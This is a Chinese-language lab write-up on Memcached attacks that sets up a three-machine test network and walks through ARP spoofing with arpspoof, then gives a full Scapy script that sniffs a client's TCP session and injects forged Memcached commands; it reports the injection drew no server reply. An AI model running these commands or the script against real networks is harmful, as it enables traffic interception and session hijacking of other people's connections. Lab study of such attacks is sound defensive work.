memcached漏洞利用

一.目标

通过udp和tcp查询memcached服务器信息实现放大攻击效果。

  • 一阶段实现目标:搭建闭环测试环境

    • 1.1 部署漏洞版 Memcached 服务器(开放 11211 端口,模拟公网暴露)

    • 1.2 配置客户端(建立与服务器的正常 TCP 连接,验证通信可用性)

    • 1.3 准备攻击模拟机(安装 Scapy、Wireshark,确保与两者同网段)

  • 阶段二:实施 TCP 会话劫持

    • 2.1 执行 ARP 欺骗(攻击机伪装成网关,劫持客户端与服务器的 TCP 流量)

    • 2.2 捕获会话关键参数(通过 Wireshark 获取 TCP 连接的 SEQ、ACK、端口信息)

  • 阶段三:注入 Memcached 请求并验证

    • 3.1 构造匹配会话参数的 Memcached 请求包(如stats组合命令)

    • 3.2 注入请求包到 TCP 会话中

    • 3.3 验证服务器响应(确认响应包返回至客户端)

2.实验复现

2.1一阶段:搭建闭环测试环境

使用Ubuntu20.04搭建memcached服务器,ip为192.168.124.131,运行sudo systemctl status memcached

image-20251030010442845

使用telnet localhost 11211进行监听,可进行stats,version等查询命令。

image-20251030011122854

修改/etc/memcached.conf文件中-l 127.0.0.1为0.0.0.0,允许外部客户端连接

使用kali作为攻击机,ubuntu18.04为客户端,ip为192.168.124.160。客户机与memcached建立连接

image-20251030181136192

监听成功,测试过程三台虚拟机均可ping通。

2.2二阶段:实施 TCP 会话劫持

使用工具:arpspoof,scapy,wireshark

kali:执行如下命令开启IP转发。

# 临时开启,重启失效(测试环境无需永久开启) echo 1 > /proc/sys/net/ipv4/ip_forward

image-20251030182627174

查询网关ip,为192.168.124.2

route -n

image-20251030182904770

欺骗客户端和服务器

sudo arpspoof -i eth0 -t 192.168.124.160 192.168.124.2
sudo arpspoof -i eth0 -t 192.168.124.131 192.168.124.2

image-20251030183307905

image-20251030183215975

wireshark抓包,欺骗成功

image-20251030185028090

image-20251030185215378

追踪stats的tcp流,观察seq等信息

image-20251030190501674

构造自动化获取信息,嵌入命令脚本

from scapy.all import *
import time

# 配置目标信息
CLIENT_IP = "192.168.124.160" # 客户端IP
SERVER_IP = "192.168.124.131" # 服务器IP
SERVER_PORT = 11211 # Memcached端口
INTERFACE = "eth0" # Kali网卡名(替换为实际网卡)

# 存储实时提取的TCP参数
tcp_params = {
"src_port": None, # 客户端源端口
"seq": None, # 最新序列号
"ack": None, # 最新确认号
"window": None # 窗口大小
}

# 1. 监听TCP流量,提取客户端→服务器的最新参数
def sniff_tcp(packet):
if (IP in packet and
packet[IP].src == CLIENT_IP and
packet[IP].dst == SERVER_IP and
TCP in packet and
packet[TCP].dport == SERVER_PORT):

# 更新参数(只记录最新的包)
tcp_params["src_port"] = packet[TCP].sport
tcp_params["seq"] = packet[TCP].seq + len(packet[TCP].payload) # SEQ = 原SEQ + 数据长度
tcp_params["ack"] = packet[TCP].ack
tcp_params["window"] = packet[TCP].window
print(f"已获取最新参数:SEQ={tcp_params['seq']}, ACK={tcp_params['ack']}, 端口={tcp_params['src_port']}")

# 2. 开始监听(持续20秒,确保捕获到客户端的最新流量)
print("开始监听客户端与服务器的TCP流量...")
sniff(iface=INTERFACE, prn=sniff_tcp, filter=f"tcp and src {CLIENT_IP} and dst {SERVER_IP}", timeout=20)

# 3. 检查是否成功获取参数
if None in tcp_params.values():
print("未捕获到有效TCP流量,请确保客户端与服务器正在通信(如在telnet中输入命令)")
else:
# 4. 构造Memcached注入命令
memcache_cmd = b"stats items\r\nstats slabs\r\nstats sizes\r\nversion\r\n"

# 5. 构造并发送注入包
inject_pkt = (
IP(src=CLIENT_IP, dst=SERVER_IP) /
TCP(
sport=tcp_params["src_port"],
dport=SERVER_PORT,
seq=tcp_params["seq"],
ack=tcp_params["ack"],
window=tcp_params["window"],
flags="P" # 推送数据标志
) /
memcache_cmd
)

print("发送注入包...")
send(inject_pkt, iface=INTERFACE, verbose=0)
print("注入完成,请查看客户端telnet窗口和Wireshark验证结果")

运行代码,客户端发送tcp命令,kali获取,新增发包给客户端。前三条是正常请求,第四条是kali伪装客户端向服务器发送的命令,但是服务器没有进行回应

image-20251030200157670

**image-20251030194952075**